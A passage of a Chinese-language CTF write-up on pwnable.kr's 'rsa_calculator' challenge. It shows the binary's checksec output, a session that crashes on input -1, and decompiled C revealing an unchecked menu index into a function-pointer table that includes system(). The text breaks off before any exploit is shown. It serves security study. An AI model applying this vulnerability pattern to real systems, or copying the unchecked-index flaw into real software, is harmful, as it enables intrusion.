  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>没时间看。</p>
<h3 id="rsa_calculator">rsa_calculator<a class="anchor" href="#rsa_calculator">#</a></h3>
<blockquote>
<p>Pwn this RSA calculator service.
its lame, but it also supports some encryption/decryption.</p>
<p>ssh <a
  href="mailto:rsa_calculator@pwnable.kr"
  >rsa_calculator@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<p>保护措施：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">rsa_calculator@ubuntu:~$ checksec rsa_calculator
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">[*] &#39;/home/rsa_calculator/rsa_calculator&#39;
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">    Arch:       amd64-64-little
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">    NX:         NX unknown - GNU_STACK missing
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">    PIE:        No PIE (0x400000)
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">    Stack:      Executable
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">    RWX:        Has RWX segments
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>运行：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">rsa_calculator@ubuntu:~$ ./rsa_calculator 
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">- Buggy RSA Calculator -
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">- select menu -
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">- 1. : set key pair
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">- 2. : encrypt
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">- 3. : decrypt
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">- 4. : help
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">- 5. : exit
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="gp">&gt;</span> <span class="m">2</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">set RSA key first
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">- select menu -
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">- 1. : set key pair
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">- 2. : encrypt
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">- 3. : decrypt
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">- 4. : help
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">- 5. : exit
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="gp">&gt;</span> <span class="m">1</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">-SET RSA KEY-
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">p : 123
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">q : 123
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">p, q, set to 123, 123
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">-current private key and public keys-
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">public key : 00 00 00 00 00 00 00 00 
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">public key : 00 00 00 00 00 00 00 00 
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">N set to 15129, PHI set to 14884
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">set public key exponent e : 123
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">set private key exponent d : 123
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">wrong parameters for key generation
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">rsa_calculator@ubuntu:~$ ./rsa_calculator 
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">- Buggy RSA Calculator -
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="go">- select menu -
</span></span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="go">- 1. : set key pair
</span></span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="go">- 2. : encrypt
</span></span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="go">- 3. : decrypt
</span></span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="go">- 4. : help
</span></span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="go">- 5. : exit
</span></span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="gp">&gt;</span> <span class="m">4</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="go">- this is a buggy RSA calculator service
</span></span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="go">- to show the concept, we also provide tiny encryption service as well
</span></span></span><span class="line"><span class="ln">45</span><span class="cl"><span class="go">- there are *multiple exploitable bugs* in this service.
</span></span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="go">- you better patch them all :)
</span></span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">48</span><span class="cl"><span class="go">- select menu -
</span></span></span><span class="line"><span class="ln">49</span><span class="cl"><span class="go">- 1. : set key pair
</span></span></span><span class="line"><span class="ln">50</span><span class="cl"><span class="go">- 2. : encrypt
</span></span></span><span class="line"><span class="ln">51</span><span class="cl"><span class="go">- 3. : decrypt
</span></span></span><span class="line"><span class="ln">52</span><span class="cl"><span class="go">- 4. : help
</span></span></span><span class="line"><span class="ln">53</span><span class="cl"><span class="go">- 5. : exit
</span></span></span><span class="line"><span class="ln">54</span><span class="cl"><span class="gp">&gt;</span> -1
</span></span><span class="line"><span class="ln">55</span><span class="cl"><span class="go">ls
</span></span></span><span class="line"><span class="ln">56</span><span class="cl"><span class="go">ls
</span></span></span><span class="line"><span class="ln">57</span><span class="cl"><span class="go">Segmentation fault (core dumped)
</span></span></span><span class="line"><span class="ln">58</span><span class="cl"><span class="go">rsa_calculator@ubuntu:~$ ls
</span></span></span><span class="line"><span class="ln">59</span><span class="cl"><span class="go">Dockerfile  readme  reset.c  rsa_calculator  run.sh  super.pl
</span></span></span><span class="line"><span class="ln">60</span><span class="cl"><span class="go">rsa_calculator@ubuntu:~$ ls
</span></span></span><span class="line"><span class="ln">61</span><span class="cl"><span class="go">Dockerfile  readme  reset.c  rsa_calculator  run.sh  super.pl
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>说实话，RSA 大名鼎鼎，但我仍然不想了解，现在不喜欢数学了，只喜欢用数学装逼。</p>
<p>源码很长，慢慢读，一点点查，这题 200 分呢，而且题目说了有多个漏洞。</p>
<p>Main 函数：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-4h] BYREF
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- Buggy RSA Calculator -</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="n">func</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">set_key</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="n">qword_602508</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">RSA_encrypt</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="n">qword_602510</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">RSA_decrypt</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="n">qword_602518</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">help</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="n">qword_602520</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">myexit</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">qmemcpy</span><span class="p">(</span><span class="o">&amp;</span><span class="n">dword_602528</span><span class="p">,</span> <span class="s">&#34;pwnable.krisbest&#34;</span><span class="p">,</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">qword_602538</span> <span class="o">=</span> <span class="p">(</span><span class="kr">__int64</span><span class="p">)</span><span class="n">system</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">v5</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="k">while</span> <span class="p">(</span> <span class="mi">1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;</span><span class="se">\n</span><span class="s">- select menu -&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 1. : set key pair&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 2. : encrypt&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 3. : decrypt&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 4. : help&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;- 5. : exit&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="s">&#34;%d&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v5</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)(</span><span class="n">v5</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">6</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="p">((</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span><span class="p">))</span><span class="n">func</span><span class="p">[</span><span class="n">v5</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])();</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="k">if</span> <span class="p">(</span> <span class="n">g_try</span><span class="o">++</span> <span class="o">&gt;</span> <span class="mi">10</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;this is demo version&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">      <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;invalid menu&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>很常规的选单函数，这里有个 bug 是可以输入 0 或负数。</p>
<p>set_key 函数：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kr">__int64</span> <span class="nf">set_key</span><span class="p">()</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-18h] BYREF
